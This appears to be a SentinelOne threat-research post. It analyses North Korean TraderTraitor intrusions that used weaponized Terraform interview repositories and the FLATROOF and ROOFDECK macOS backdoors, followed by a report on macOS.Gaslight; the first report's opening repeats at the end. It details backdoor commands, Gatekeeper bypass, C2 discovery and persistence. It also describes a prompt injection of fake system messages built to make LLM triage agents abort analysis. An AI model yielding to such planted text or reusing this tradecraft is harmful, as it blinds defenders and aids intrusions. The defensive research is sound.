Executive Summary

• Following disclosure of the TraderTraitor attack against LayerZero Labs in April 2026, SentinelOne identified an additional victim with the same macOS backdoors.
• Our analysis explores the mechanics of these backdoors and the expanded targeting against a victim in the IT services sector with no relationship to cryptocurrency trading.
• We also identified more weaponized GitHub repositories from the social engineering schemes used to target job seekers in these campaigns.
• This report expands on how Terraform lock files enable the delivery of malware from custom Terraform provider registries controlled by the attackers.

Overview

Throughout 2026, the financially motivated DPRK state-sponsored Lazarus subgroup TraderTraitor (aka UNC4899, PUKCHONG, Jade Sleet) has engaged in campaigns targeting entities involved in cryptocurrency trading, including a high-profile attack disclosed in April where USD 292 million was stolen from KelpDAO through a compromise of LayerZero.

KelpDAO is a decentralized finance (DeFi) protocol that supports restaking Ethereum; LayerZero Labs provides services with the capability to exchange cryptocurrency across different blockchain platforms.

TraderTraitor compromised LayerZero Labs and determined methods to create a fake cryptocurrency minting event, which the attacker combined with a DDoS against validation servers so that compromised servers would approve an illegitimate mint event, leading to the massive theft.

Following the public disclosure of this breach, SentinelOne identified an additional victim infected with the macOS backdoors, FLATROOF (aka macOS.Gaslight) and ROOFDECK, which were first observed in the LayerZero Labs attack.

Unlike the previous high-profile victim, this target was a much smaller organization in the IT services industry. Our investigation revealed insights into what happens when this threat actor compromises a smaller organization that we believe ultimately yielded insufficient value to sustain the intrusion.

Weaponized Terraform Coding Projects

Each campaign related to this wave of activity uses social engineering via fake job interview lures, a traditional Contagious Interview approach common among DPRK actors. The attacker makes contact with job seekers from the company that is ultimately compromised; the GitHub profile of each targeted job seeker we identified falls into DevOps or cryptocurrency/FinTech engineering projects.

The GitHub repository themes for coding project lures are designed as infrastructure engineering projects related to the company that the DPRK actors are posing as. By pivoting from the gtn-candidate-repo repository shared by LayerZero Labs in their incident report, we identified additional lures, which included references to the companies Northwind and Novacart.

It is unclear if these were fabricated companies used by the threat actor, or if they were posing as hiring teams from real companies with these names; one Northwind example describes it as an ecommerce company launching in the near future. Other repository names that we identified include:

• Northwind-IAC
• novacart-interview
• terraform-candidate-repo

The repositories contain a weaponized .terraform.lock.hcl file in the coding project with a custom provider that points to a domain controlled by the attacker. We identified three malicious provider domains across multiple repositories:


registry.hashicorp-aws[.]com
registry.hashicorp-aws[.]io
registry.hashicorp-terraform[.]io


When the victim runs terraform init with the weaponized lockfile in place, Terraform treats the custom provider as the source of truth, resulting in Terraform downloading and executing the malicious provider modules.

Developer awareness can lead to friction against this type of attack: in one repository, the candidate being interviewed added a note saying that they removed a typosquatted provider from the project’s original lock file, which may suggest they thought the interviewer was testing for their security awareness.

According to the LayerZero Labs report, the attackers installed the FLATROOF and ROOFDECK macOS backdoors after an employee installed a weaponized interview coding project on their company workstation. TraderTraitor used the backdoors to collect API keys from the organization and to escalate privileges to expand into the victim’s Amazon Web Services and Google Cloud Platform environments.

While we lack insight into many of the subsequent infections resulting from the GitHub repositories we located, SentinelOne identified an unrelated victim by hunting through our telemetry for the macOS backdoors observed in the LayerZero Labs attack.

Additional Victim

The Victim

The affected organization is an IT services provider based in India and unaffiliated with cryptocurrency. One endpoint was involved: an Apple Silicon MacBook belonging to a DevOps engineer. The engineer ran Terraform and Ansible against AWS, OVH and OpenStack on most working days, and the machine held cloud credentials and source control access: much like LayerZero Labs’ “Developer1”. Individuals whose social media profile advertises infrastructure or DevOps work are candidates for this type of attack, and the value of the target is whatever their laptop can reach.

Infection Timeline

According to our telemetry on this host, both backdoors were on disk as far back as March 18, so we cannot prove how they were delivered. They remained dormant until March 29, when beaconing and host activity began.

Timestamp (UTC)	Activity	Detail / evidence
2026-03-18	FLATROOF + ROOFDECK presence	FLATROOF and ROOFDECK hashes found on the victim machine according to telemetry data
2026-03-25 to 2026-03-28	Dormant phase	Cursor in active daily use. No malicious activity seen.
2026-03-29 05:00:41	Workspace open	Developer opens ~/DevOps-Automation/cloudshield in Cursor
2026-03-29 05:00:46	Shells spawn	Cursor integrated terminal spawns login shells (zsh -l) + Node hosts
2026-03-29 05:00:53	First Observed Execution	Cursor launches both implants: nohup …/SystemUpdate –type=renderer and nohup …/iSync –type=renderer
2026-03-29 05:00:55	C2 connection	SystemUpdate => technicais (176[.]97.114.232), iSync => hubpage (45[.]11.59.140), Telegram at 05:00:58
2026-03-29 05:00:58	Implant re-arm	xattr -rd com.apple.quarantine + chmod +x on iSync (GatekeeperBypass)
2026-03-30 to 2026-04-19	Steady beaconing	Gated on Cursor sessions; FLATROOF/ROOFDECK beacon only while Cursor runs (quiet when Cursor is off)
2026-04-13	GitHub lure	Developer clones terraform-candidate-repo via GitHub Desktop
2026-04-14 18:25	Implant re-arm	FLATROOF re-arms ROOFDECK (re-strips quarantine, chmod +x)
2026-04-20 08:48:59	Stage 3 staging	ROOFDECK stages from 85[.]137.56.10, retrieves 3rd-stage loginwindow (one day after LayerZero Labs’ public statement)
2026-04-20 08:49:38	Stage 3 C2 connection	loginwindow online => grenight[.]com (85[.]137.56.245)
2026-04-20 13:15:11	Anti-forensics	loginwindow deletes both original implants (rm -f)
2026-05-03 to 2026-06-01	Stage 3 resumes	loginwindow keeps beaconing to grenight[.]com (85[.]137.56.245)
2026-06-01 06:08	Last observed C2	Final loginwindow beacon to grenight[.]com in the collected telemetry

The implants were first launched by Cursor on March 29, seconds after the cloudshield workspace was opened.

Timestamp (UTC)	Activity Type	Detail
2026-03-29 05:00:41	Process Creation	Cursor Helper (node), first reference to the cloudshield workspace
2026-03-29 05:00:45	File Creation	~/.cursor/projects/…-cloudshield/terminals/1.txt   (integrated terminal)
2026-03-29 05:00:46	Process Creation	bash –init-file …/shellIntegration-bash.sh
2026-03-29 05:00:47	Process Creation	zsh -l (login shell => sources ~/.zshrc/.zprofile)
2026-03-29 05:00:53	Process Creation	Cursor (parent launchd) => nohup …/com.apple.iTunesCloud/SystemUpdate –type=renderer
2026-03-29 05:00:53	Process Creation	Cursor (parent launchd) => nohup …/com.apple.internal.ck/iSync  –type=renderer

macOS Malware

We observed two malware families being deployed in the compromise, identical to the ones described in the LayerZero Labs attack, named FLATROOF and ROOFDECK (by LayerZero Labs and Mandiant). Both are ARM64 backdoors for macOS written in Rust.

FLATROOF

We observed the FLATROOF backdoor deployed under the name SystemUpdate to ~/Library/com.apple.iTunesCloud/SystemUpdate. It is likely intended for initial data collection from the victim machine and to deploy secondary payloads.

Immediately after starting, FLATROOF suppresses Gatekeeper by removing the com.apple.quarantine attribute from ROOFDECK and sets the executable bit on it; the second implant runs with no signature check and no user prompt.


xattr -rd com.apple.quarantine .../com.apple.internal.ck/iSync
chmod +x .../com.apple.internal.ck/iSync


A detailed analysis of FLATROOF (aka macOS.Gaslight) was published by SentinelLABS in June 2026. Here, we present a short summary of the backdoor’s capabilities as denoted by its supported C2 commands:

Verb	Function
help	Show command help
id	Identify the implant to the operator
shell	Execute a shell command via execvp, with posix_spawnp available as an alternative spawn path
kill	Terminate a target process by PID
upload	Exfiltrate a file via the Telegram file-attach mechanism
stop	Halt the implant

The backdoor also carries a data-harvesting Python module, used to gather the following data and exfiltrate them over Telegram using a built-in Telegram bot token:

• Chrome, Brave, Firefox, and Safari browser data
• Terminal command histories
• Installed application listings
• A running-process snapshot via ps aux
• System hardware and software profile via system_profiler
• A raw copy of login.keychain-db

ROOFDECK

ROOFDECK acts as a more sophisticated backdoor with broader reconnaissance and lateral movement capabilities. We observed it dropped under the name iSync to ~/Library/com.apple.internal.ck/iSync.

It is clear from the design of the implant that it is intended to be used as an additional deployment after initial foothold and control are established, since it needs a pre-existing configuration file containing at minimum a Nostr public key of an attacker-controlled profile to allow it to connect to its C2 server for the first time.

ROOFDECK uses a local configuration file ~/.config/.repl_history to store C2 URLs and keys and to set beaconing behavior.

Field	Type	Meaning
server_url	string	Resolved/overridden C2 URL (blank until dead-drop resolution)
connection_type	string http|ws	Transport selector (HTTPS /app_version vs pipe-airway WebSocket)
nostr_public_keys	array of strings	Operator Nostr identity pubkey(s) used for the dead-drop lookup
recovery_url	string	Fallback/recovery endpoint (bootstrap if primary C2 is lost)
pastebin_key	string	Key/paste id for a Pastebin-style dead-drop (secondary resolver)
rsa_private_key	string	An RSA private key provisioned into the agent
config_path_macos	string	Relative path override for the config location on macOS
interval	integer (seconds)	Beacon/poll interval

Upon first execution, it pulls live Nostr relays from api.nostr[.]watch/v1/online and combines them with a hardcoded relay list belonging to legitimate Nostr services, then searches the relays for an operator’s profile on the Nostr network based on a public profile key given in the configuration file nostr_public_keys. When found, it reads the website field of the profile and uses that as its C2 URL. TraderTraitor has previously used Nostr.

The following is a list of Nostr relays used for operator profile discovery:


wss://relay.damus[.]io
wss://nos[.]lol
wss://nostr[.]mom
wss://relay.snort[.]social
wss://offchain[.]pub
wss://relay.nostr[.]band
wss://nostr.oxtr[.]dev
wss://nostr[.]wine


Persistence was achieved via a plist entry ~/Library/LaunchAgents/loginwindow.plist, with a dynamically specified application identifier string. It uses a hardcoded --type=renderer parameter to make the implant process appear legitimate.

ROOFDECK supports a wide variety of C2 commands for managing the implant, performing reconnaissance, exfiltrating data and executing attacker code. The C2 endpoint is hardcoded as /app_version. Polling for commands is done via HTTPS with a custom pinned TLS certificate embedded in the implant, shown below.

Interestingly, the malware author used default metadata settings with mkcert, which exposed that they are running on a Linux QEMU-based VM using the username ub. We identified multiple domains using a certificate containing this certificate CN (listed in the Indicators of Compromise section).


Subject = Issuer (self-signed):
O = mkcert development CA
OU = ub@ub-Standard-PC-Q35-ICH9-2009
CN = mkcert ub@ub-Standard-PC-Q35-ICH9-2009
Serial: 1CD6D13FF15ADBF7A42025D10EC99B4A
Key: RSA 3072-bit
Validity: 2025-06-20 11:06:53 UTC -> 2035-06-20 11:06:53 UTC (10-year mkcert default)


ROOFDECK commands are signed with the operator’s private key and their integrity is verified using an embedded public key before execution. The command functionalities are separated into distinct handlers in the source code. The implant re-implements many common shell commands related to directory and file operations, another tactic often used in more sophisticated North Korea-aligned toolsets, including Lazarus’ LightlessCan.

Session & Control

Command	Handler	Description / interesting elements
session	—	Manages the C2 session lifecycle (agent registration/keying, connect, tasking loop).
config	modules/config.rs	config <key> — sets runtime config live and persists to the configuration file. Lets the operator re-point C2/transport after deployment.
sleep	—	sleep [-r] <seconds> — sleeps N seconds or for a random interval (-r)
tasks	modules/task.rs	Manages background tasks (ongoing command executions), listing and canceling them. Task states: PENDING/RUNNING/COMPLETED/FAILED/DOWNLOADING/UPLOADING.
app_version	—	Pulls signed+encrypted commands from the HTTPS /app_version endpoint; RSA-2048-verified before an EncryptedCommand is decrypted into an AgentCommand. Doubles as version/update check and a fallback tasking channel.
persist	—	persist <add|remove|check>. add installs the ~/Library/LaunchAgents/<com.*>.plist (Chrome-renderer masquerade, RunAtLoad); remove deletes it; check reports Is enabled: <bool>.
update	—	update <url> — downloads a new binary and self-updates.
destroy	modules/recovery.rs	Self-destruct — uninstalls persistence, config and binary (guarded by a yes confirmation token).

Execution

Command	Handler	Description / interesting elements
run	handlers/run.rs	run <command> [background] — spawns an arbitrary program (native posix_spawnp/execvp), returns output; supports a background mode (long-running task tracked via tasks).
shell	handlers/shell.rs	Interactive shell via a PTY (openpty), streamed over the C2 transport.
rssh	handlers/rssh.rs	Reverse shell — starts/stops a stateful reverse shell back to the operator.
kill	handlers/kill.rs	Terminates a process by PID.

File system / data

Command	Handler	Description / interesting elements
cd / pwd	—	Change / print the agent’s working directory.
ls	handlers/ls.rs	Directory listing (names, sizes, timestamps, permissions).
find	handlers/find.rs	Recursive file search under a src root by pattern, returning matching files, used to locate high-value data (wallets, keys, docs) for exfiltration.
cat / tail	handlers/tail.rs	Read a whole file / tail the end of a file (e.g., logs).
stat	—	Show file metadata (size, mode, owner, timestamps).
cp / mv / rm	—	Copy (copyfile/fclonefileat) / move (rename) / delete (unlink) files.
mkdir / mkfile	—	Create directory / create (write) a file — used to drop payloads or write staged data.
chmod / chown	—	Change file permissions / ownership (chmod/chown).
zip / unzip	—	Create/extract archives incl. AES-encrypted zips (zip 4.3.0, zipcrypto/aes.rs). Used to stage encrypted exfiltration bundles or unpack downloaded archives (eg. next stage payloads).

Transfer

Command	Handler	Description / interesting elements
upload	handlers/upload.rs	Exfiltrates a local file to the C2.
wget	handlers/wget.rs	Downloads a file from a URL to disk (reqwest), second-stage/tool delivery.

Reconnaissance / surveillance

Command	Handler	Description / interesting elements
info	handlers/info.rs	Aggregate host fingerprint: OS/version, hostname/user (whoami), hardware IDs (IOKit), geo-IP (api.myip.com).
whoami / uname / uptime / lscpu	—	Current user / OS+kernel (uname) / uptime / CPU info (host_processor_info).
df	handlers/df.rs	Disk/volume usage and mounted filesystems (getfsstat, CFURL volume keys).
ps	handlers/ps.rs	Process listing (proc_listallpids/proc_pidinfo/proc_pid_rusage).
clipboard	—	Reads and writes the macOS clipboard (NSPasteboardTypeString). Can capture copied secrets (passwords, seed phrases, 2FA) and plant content (e.g., swap a copied crypto address).
screenshot	—	Not implemented yet. Handler returns “Screenshot command is not implemented yet.”

All C2 commands are signed on the server side by an attacker-controlled private key. The public key is embedded in the ROOFDECK payload and is used to verify the origin and integrity of the issued commands before executing them.


-----BEGIN RSA PUBLIC KEY-----
MIIBCgKCAQEAzan/EObUVxXNfPHdkDyCVR0AC9apleciK9ZQw+neWo6q+wvAhnLp
Pe7FZLomuwntUgI3afLDblgw9t19Kh7w/8CVwFncxh4PdqtdYno4teQ6fDLKXSWa
ZBG7zZ9R22jxPpiY70XKilXJuds34q7pfzVfbLvLTmTWyTtcyrOnRSCOwEHP/gHX
0gX+8sdX7go6O37WwzB4zNvThS+E7hG+fVfrgEaH7IUi3RY9esuBS50UomfYefO3
dK1aDMDWIwVj1skacPR9LazEc6PSGjSXxzI/N2xcpP9QKXn/Pk6r9fBzudhBL3Mw
vWyNi03JbZGtGFiy6Wai6heJqgY7pF1PAQIDAQAB
-----END RSA PUBLIC KEY-----


Another version of ROOFDECK

On April 20, one day after LayerZero Labs’ first public announcement of the KelpDAO incident, the attackers deployed a new version of ROOFDECK to the compromised machine (SHA-1: 5728b11d30586bbfc1d8bd12df1c722a06e767a2, path ~/Library/com.apple.appleaccountd/loginwindow) as an executable named loginwindow. 

After the new version initialized and started beaconing, the attackers used it to remove the old ROOFDECK and FLATROOF binaries. This new ROOFDECK was functionally identical to the previous one, but with stripped symbols and debug information, likely intended to more effectively evade detection. We can only speculate whether this was a reaction to LayerZero Labs’ publication, but the timing is nevertheless interesting.

After the update, we observed intermittent beaconing activity to a new C2 server, grenight[.]com, until June 1. On June 17, the loginwindow binary was moved to Trash.

Conclusion

DPRK-aligned actors like TraderTraitor are leaning heavily into targeting developers to establish a foothold in a network, increasingly through fake job interviews. The incident we investigated shows that not every organization they infiltrate will become a viable target for a massive cryptocurrency theft.

These groups’ initial access efforts include targeting third parties and their software supply chain, which is where much of the industry’s exposure has moved, putting the developer endpoint at the center of the defense. Endpoints used for development carry access to cloud, pipelines and source code, which makes monitoring and protection a high priority for organizations. These campaigns use purpose-built development environments aimed at one engineer at a time, paired with backdoored Terraform builds that differ for each victim.

Recommendations

For organizations:

• We recommend flagging engineers with cloud engineering permissions and source control access as a sensitive group for endpoint security monitoring.
• Look for unsigned binaries executing from the home directory, integrated development environment (IDE) child processes that are not signed IDE components, and outbound TLS from either.
• Reports of interview take-home assignments and unsolicited repositories from these users are worth following up as well, since telemetry alone will not show that a recruiter sent one.
• Consider company policy that prevents using corporate workstations for external job interviews and consider how to enforce this type of policy.
• Educating developers with sensitive access is crucial: the weaponized Terraform provider domain was removed by one job seeker who flagged the typosquatted domain as suspicious. Organizations should add content to their security awareness training programs to highlight the risks of using projects with unknown origins as well as the nature of employees being targeted by threat actors to compromise the organization.

For developers:

• Before running a coding project containing a .terraform.lock.hcl file, ensure that the provider registry belongs to known good domains: anything that is not a known namespace following registry.terraform.io, the official provider domain, should be treated as suspect.
• Malicious packages can also be hosted on the official provider registry domain, so it is important to investigate the source of all packages when using an included lockfile. Terraform’s official registry supports browsing modules and providers, and modules contain a link to its source code.

This report is being published alongside a presentation at LABScon 2026, Don’t Call Us, We’ll Call Your APIs: Anatomy of an Expanding DPRK Multi-Cloud Intrusion. SentinelOne thanks Google and Mandiant for their partnership in providing technical details on this threat actor’s tools and techniques, and Nick Simonian for collaborating on this research.

Indicators of Compromise

IoCs (additional victim)

Type	IOC	What it is
SHA1	02df07a173ab03b82a4fb6a08973fff8b1467f28	FLATROOF (SystemUpdate)
SHA1	c491d477dbe0ae04e9aed9dbe237144c03f73ec4	ROOFDECK (iSync)
SHA1	5728b11d30586bbfc1d8bd12df1c722a06e767a2	Stripped ROOFDECK (loginwindow)
Domain	technicais.sytes[.]net	FLATROOF C2
Domain	storage.hubpage[.]cloud	ROOFDECK C2
Domain	grenight[.]com	ROOFDECK C2
IP	176.97.114[.]232	FLATROOF C2 (technicais.sytes[.]net)
IP	45.11.59[.]140	ROOFDECK C2 (storage.hubpage[.]cloud)
IP	85.137.56[.]245	ROOFDECK C2 (grenight[.]com)
IP	85.137.56[.]10	ROOFDECK staging server
Path	~/Library/com.apple.iTunesCloud/SystemUpdate	FLATROOF binary filepath
Path	~/Library/com.apple.internal.ck/iSync	ROOFDECK binary filepath
Path	~/Library/com.apple.appleaccountd/loginwindow	Stripped ROOFDECK binary filepath
File	/private/tmp/.pipe-airway	ROOFDECK IPC pipe
File	$TMPDIR/tmp*.lock	FLATROOF lock file
Workspace	~/DevOps-Automation/cloudshield	Malicious workspace filepath

Custom certificate used for TLS communication

Type	Value
SHA-256	4b2d3e8ccce8920a6d01e7d02b84236545a20e5f754b3eec253f8b416b731daa
SHA-1	4ad92bf92ee614b05c340ce17bef7b6ef5a25e82
Serial	1cd6d13ff15adbf7a42025d10ec99b4a
Subject/Issuer	O=mkcert development CA, OU=ub@ub-Standard-PC-Q35-ICH9-2009, CN=mkcert ub@ub-Standard-PC-Q35-ICH9-2009
Validity	2025-06-20 → 2035-06-20

Host IoCs – ROOFDECK

Type	Value
Persistence	~/Library/LaunchAgents/*.plist (Label prefix com., ProgramArguments contains –type=renderer, RunAtLoad=true)
Config file	$HOME/.config/.repl_history

Network IoCs – ROOFDECK

Type	Value
HTTPS tasking endpoint	/app_version (host resolved at runtime)

Certificate Domains related to “ub” user

185-66-91-112.cprapid[.]com

213-111-146-132.cprapid[.]com

anesthesiaschool[.]com

app.heyhay[.]online

dela.servehttp[.]com

galaxy-royal[.]online

game.galaxy-royal[.]online

grenight[.]com

heyhay[.]online

mactroubleshoots[.]pro

mx01.galaxy-royal[.]online

ns4.galaxy-royal[.]online

storage.hubpage[.]cloud

tinklify[.]com

update.heyhay[.]online

vaimage[.]com

wss.sytes[.]net

www.anesthesiaschool[.]com

www.freehealth[.]lat

www.heyhay[.]online

www.mactroubleshoots[.]pro

www.tinklify[.]com

Coding Challenge Repositories

hashicorp-aws[.]com Provider:

https://github.com/exubient0/terraform-candidate-repo/blob/main/.terraform.lock.hcl	Weaponized Terraform lock file
https://github.com/radupopa369/gtn-candidate-repo/blob/feat/three-tier-infrastructure/live/.terraform.lock.hcl	Weaponized Terraform lock file

hashicorp-aws[.]io Provider:

https://github.com/chainstacker/Northwind-IAC/blob/930e5be6d34511bedbfb0d762bd08fffe64e9630/aws/us-east-1/prod/northwind/global/vpc/.terraform.lock.hcl	Weaponized Terraform lock file
https://github.com/RyanLRay/Technical-Assessments/blob/19af09ebe8b7ad03419677dda515507dd099bc39/README.md?plain=1#L175	README with references to the weaponized provider domain

hashicorp-terraform[.]io Provider:

https://github.com/Steed-LHV/assessment	README with references to the weaponized provider domain

Executive Summary

• SentinelLABS has analyzed a Rust macOS implant that embeds a 3.5 KB prompt-injection payload of 38 fabricated “system” messages, built to steer an LLM-assisted triage pipeline into aborting or refusing its analysis.
• Command-and-control runs over a Telegram Bot API polling loop, with AES-GCM payloads over certificate-pinned TLS.
• The implant self-redacts its Telegram bot token in its own runtime output, denying it to anyone who captures logs or crash artifacts.
• We assess with high confidence that the implant, which we track as macOS.Gaslight, belongs to a cluster of DPRK-aligned macOS activity.

Introduction

In early June, an Apple XProtect update surfaced a Mach-O sample that had been uploaded to VirusTotal on May 22. The XProtect rule targets the file purely on its hash rather than on any internal strings or bytecode, yet the sample remains undetected by static engines on VirusTotal at the time of writing. The binary is ad hoc signed and carries the identifier endpoint-macos-aarch64-5555494492fc075f441637fb9d894913dde3a2ea.

The sample is a macOS implant and infostealer written in Rust. Its most notable feature is an embedded cascade of fabricated system-failure messages, designed to make an LLM-assisted triage agent doubt its own session. It attacks the agent’s perception, rather than the sandbox it runs in. Accordingly, we dub this family macOS.Gaslight.

We assess with high confidence that this implant sits within a cluster of DPRK-aligned macOS activity. Apple’s XProtect detects the sample under the rule MACOS_BONZAI_COBUCH, and SentinelLABS associates the BONZAI signature family with North Korean threat activity. A sibling BONZAI sample is additionally caught by Apple’s AIRPIPE rule, a family SentinelLABS likewise ties to North Korean activity.

Command & Control | Telegram Bot API

The implant’s command-and-control channel is a Telegram Bot API getUpdates polling loop. The polling branch executes only when no webhook is registered, and the dispatch handler keys on three Telegram error codes: BotBlocked, InvalidToken, and Conflict.

Telegram issues a Conflict response when two instances of the same bot token poll simultaneously, so the implant treats that response as an implicit single-instance lock. A second copy detects the conflict and terminates.

Once the bot token validates and the polling loop is active, the operator can task the implant, including through the interactive shell described below, and collected data is returned over the same channel using Telegram’s multipart attach:// file-upload mechanism.

The bot token, the chat ID (tg_room_id), and the rest of the operator configuration are supplied at runtime and are absent from this sample. Accordingly, the analysis below is based on static examination of the binary and its embedded payloads.

Transport Hardening | AES-GCM Over Pinned TLS

All C2 payloads are encrypted with AES-GCM, implemented using the pure-Rust aes-gcm 0.10.3 crate, with a fresh nonce generated per message via CCRandomGenerateBytes. The AES key is supplied at runtime through the aes_key field in the operator config rather than being embedded in the sample.

On top of the payload encryption, the implant configures a custom certificate trust anchor and calls SecTrustSetAnchorCertificatesOnly, restricting TLS trust evaluation to that anchor alone. This certificate pinning rejects connections intercepted by a standard proxy CA, frustrating network-level inspection of the operator’s traffic.

The implant also honors the host’s proxy settings, reading the active system proxy configuration via SCDynamicStoreCopyProxies and routing the traffic from its Rust reqwest/hyper networking stack accordingly. As a result, the C2 can still reach the operator on networks that force outbound connections through a proxy.

Taken together, those choices make the channel harder to inspect in transit while still allowing it to operate in tightly managed enterprise networks.

Operator Access | An Interactive Shell

After validation and activation, the operator gains an interactive shell. Two co-located command menus define six verbs.

Verb	Function
help	Show command help
id	Identify the implant to the operator
shell	Execute a shell command via execvp, with posix_spawnp available as an alternative spawn path
kill	Terminate a target process by PID
upload	Exfiltrate a file via the Telegram file-attach mechanism
stop	Halt the implant

There is some evidence of a seventh command, focus, but we were unable to recover further details from our analysis.

The implant creates an IOPMAssertionCreateWithName power-management assertion to prevent system sleep. Blocking sleep sustains long-running C2 polling and collection across periods of user inactivity, making the implant resilient to a host that would otherwise idle.

All told, the functionality provides the operator with a persistent, interactive foothold on the host.

The 15-Field Cross-Platform Operator Config

The implant reads its operator configuration using serde, a widely used Rust serialization and deserialization framework.

The operator provides the implant with a config blob at runtime and serde fills in a predefined set of fields. By default, serde matches incoming config keys to fields by their literal names, so the entire configuration schema of 15 field names is baked into the binary as plaintext.


tg_room_id
github_token
github_repo
github_polling_interval
main_upload_url
main_base_url
aes_key
payload_path_linux
payload_path_macos
persist_name_linux
persist_name_macos
persist_type_linux
persist_type_macos
init_python_enable
persist_enable


The Linux- and GitHub-related fields are not exercised in the sample, suggesting the schema is an operator-facing interface to a broader toolset.

Collection | A Gated Python Stealer With Its Own Runtime Supply Chain

The implant carries a 6.6 KB base64-encoded Python script which serves as a data collection module. Once decoded, it harvests:

• Chrome, Brave, Firefox, and Safari browser data
• Terminal command histories
• Installed application listings
• A running-process snapshot via ps aux
• System hardware and software profile via system_profiler
• A raw copy of login.keychain-db

Collected artifacts are archived to temp/collected_data.zip and uploaded to the operator via Telegram.

SentinelLABS has previously documented Atomic macOS Stealer (AMOS) harvesting the same login keychain copy and browser data and an early Rust macOS stealer targeting login.keychain-db in 2023.

A separate 2 KB base64-encoded bash installer fetches and stages a self-contained cpython-3.10.18 interpreter from the astral-sh/python-build-standalone project. The installer, a prerequisite for deploying the Python stealer, carries the literal constants PY_VERSION=3.10.18 and BUILD_DATE=20250708 and targets both arm64 and x86_64 macOS. The widespread use of emojis and strict adherence to comment headers are consistent with LLM-generated output.

Microsoft has previously described macOS stealers bundling Python via PyInstaller and Nuitka. However, fetching a standalone CPython build from astral-sh/python-build-standalone at runtime has not been previously documented as far as we are aware. The separation keeps the main implant in Rust while letting the operator stage a fuller Python-based collection environment only when needed.

We identified init_python_enable in the serde schema as the configuration field associated with both the stealer and installer. Consistent with our earlier observations, we found no exact runtime branch logic, so we describe both only as configurable capabilities present in the binary.

Persistence | An Apple System-Service Masquerade

Persistence is achieved through a LaunchAgent. This implant’s plist carries the Label value com.apple.system.services.activity. Masquerading within Apple’s com.apple.* namespace is a tactic widely used in many macOS malware families, including those previously tied to DPRK-linked activities.

In order to write a valid absolute path to itself into the plist’s ProgramArguments array, the implant resolves its own executable location at runtime via __NSGetExecutablePath.

The implant’s persistence behavior is controlled through the persist_enable serde config field, and again we did not recover a separate static branch that would confirm exactly how installation is triggered in this sample.

OPSEC | Bot-Token Self-Redaction

Telegram bot tokens are a known weak point in bot-based C2. If the token can be recovered, defenders can use it as a detection artifact and even query the Telegram Bot API directly, exposing the bot’s chat history, operator commands, and registered webhooks. macOS.Gaslight addresses this with a self-redaction routine built into its Telegram URL constructor.

When the URL path segment is the 4-byte literal “file” (0x656c6966 little-endian), the constructor substitutes the token that follows with the hardcoded placeholder file/token:redacted, preventing the live bot credential from appearing in any diagnostic output or error string the implant produces at runtime.

The logic prevents anyone who captures the process’s logs, errors, or crash artifacts from determining the bot token, which otherwise is only available in the config itself and cannot be recovered from the sample.

NVISO Labs has previously noted that most documented Telegram bot abuse embeds recoverable tokens; macOS.Gaslight’s runtime self-redaction appears novel relative to that reporting.

A Prompt Injection That Targets the Analyst

The implant does little conventional anti-analysis. It resolves its API calls at runtime through dlsym so as to avoid embedding them in the static symbol table, and it locates its own executable dynamically rather than from a hardcoded path.

What makes the sample notable is its attempt to mislead the analyst reading the output. It carries a 3.5 KB Markdown-fenced blob of hostile data containing 38 fabricated “system” messages delimited with {{DATA}} tokens.

The {{DATA}} tokens and the surrounding Markdown fence mimic an LLM triage harness’s own prompt scaffold, blurring the boundary between untrusted sample data and trusted instructions.

The scaffold contains fake system messages about token expiry, out-of-memory kills, disk exhaustion, and repeated operation failures. It also plants bogus warnings about injection vulnerabilities and static-analysis flags. The aim is to push an LLM agent into aborting, truncating, or refusing analysis.

Check Point first documented this kind of analyst-targeting prompt injection publicly in 2025, describing a Windows proof-of-concept that used a single direct-instruction prompt injection to evade AI-based detection.

Socket has since documented a Hades supply-chain payload whose stealer opens with a fake prompt-injection header to pollute AI-assisted analysis, while the leaked Shai-Hulud code carried an “Anthropic Magic String” intended to stop Claude Code from analyzing it. Each relied on a single injected block or header rather than the 38-message harness-spoofing cascade seen here.

Previous SentinelLABS research, by contrast, examined malware that uses LLMs to generate or support capability at runtime rather than interfere with analyst tooling.

Conclusion

macOS.Gaslight packs considerable capability into a single, persistent Rust binary, bundling a credential and session-data stealer, an interactive shell, and a self-staged Python collection chain behind a hardened Telegram C2. Aside from the runtime-fetched standalone CPython interpreter, these are all established macOS tradecraft.

However, macOS.Gaslight is noteworthy for its analyst-targeting prompt injection, an attempt to weaponize the LLM-assisted triage pipelines that increasingly sit in the reverse-engineering loop.

Anyone building such tooling should treat the contents of the samples they triage as adversarial input, never as instructions, and be prepared to keep hostile content out of the model entirely. As LLM-assisted analysis becomes routine, defenders should expect more samples built to exploit it.

Indicators of Compromise

macOS.Gaslight Mach-O sample	6328567511d88fdc2ae0939c5ef17b7a63d2a833881900de018a4f12f4982525
Sibling BONZAI sample	77b4fd46994992f0e57302cfe76ed23c0d90101381d2b89fc2ddf5c4536e77ca
Ad hoc signing identifier	endpoint-macos-aarch64-5555494492fc075f441637fb9d894913dde3a2ea
LaunchAgent Label	com.apple.system.services.activity
Python payload script	baabf249c77bc54c54ab0e66e15af798bd28aa5b4683554456a8b73ab8741239
Bash Installer script	e4503e31d5a297d93ade64f50a5b5fe91e73dad251ac2615b4c975684f68e080

Executive Summary

• Following disclosure of the TraderTraitor attack against LayerZero Labs in April 2026, SentinelOne identified an additional victim with the same macOS backdoors.
• Our analysis explores the mechanics of these backdoors and the expanded targeting against a victim in the IT services sector with no relationship to cryptocurrency trading.
• We also identified more weaponized GitHub repositories from the social engineering schemes used to target job seekers in these campaigns.
• This report expands on how Terraform lock files enable the delivery of malware from custom Terraform provider registries controlled by the attackers.

Overview

Throughout 2026, the financially motivated DPRK state-sponsored Lazarus subgroup TraderTraitor (aka UNC4899, PUKCHONG, Jade Sleet) has engaged in campaigns targeting entities involved in cryptocurrency trading, including a high-profile attack disclosed in April where USD 292 million was stolen from KelpDAO through a compromise of LayerZero.

KelpDAO is a decentralized finance (DeFi) protocol that supports restaking Ethereum; LayerZero Labs provides services with the capability to exchange cryptocurrency across different blockchain platforms.

TraderTraitor compromised LayerZero Labs and determined methods to create a fake cryptocurrency minting event, which the attacker combined with a DDoS against validation servers so that compromised servers would approve an illegitimate mint event, leading to the massive theft.

Following the public disclosure of this breach, SentinelOne identified an additional victim infected with the macOS backdoors, FLATROOF (aka macOS.Gaslight) and ROOFDECK, which were first observed in the LayerZero Labs attack.

Unlike the previous high-profile victim, this target was a much smaller organization in the IT services industry. Our investigation revealed insights into what happens when this threat actor compromises a smaller organization that we believe ultimately yielded insufficient value to sustain the intrusion.

Weaponized Terraform Coding Projects

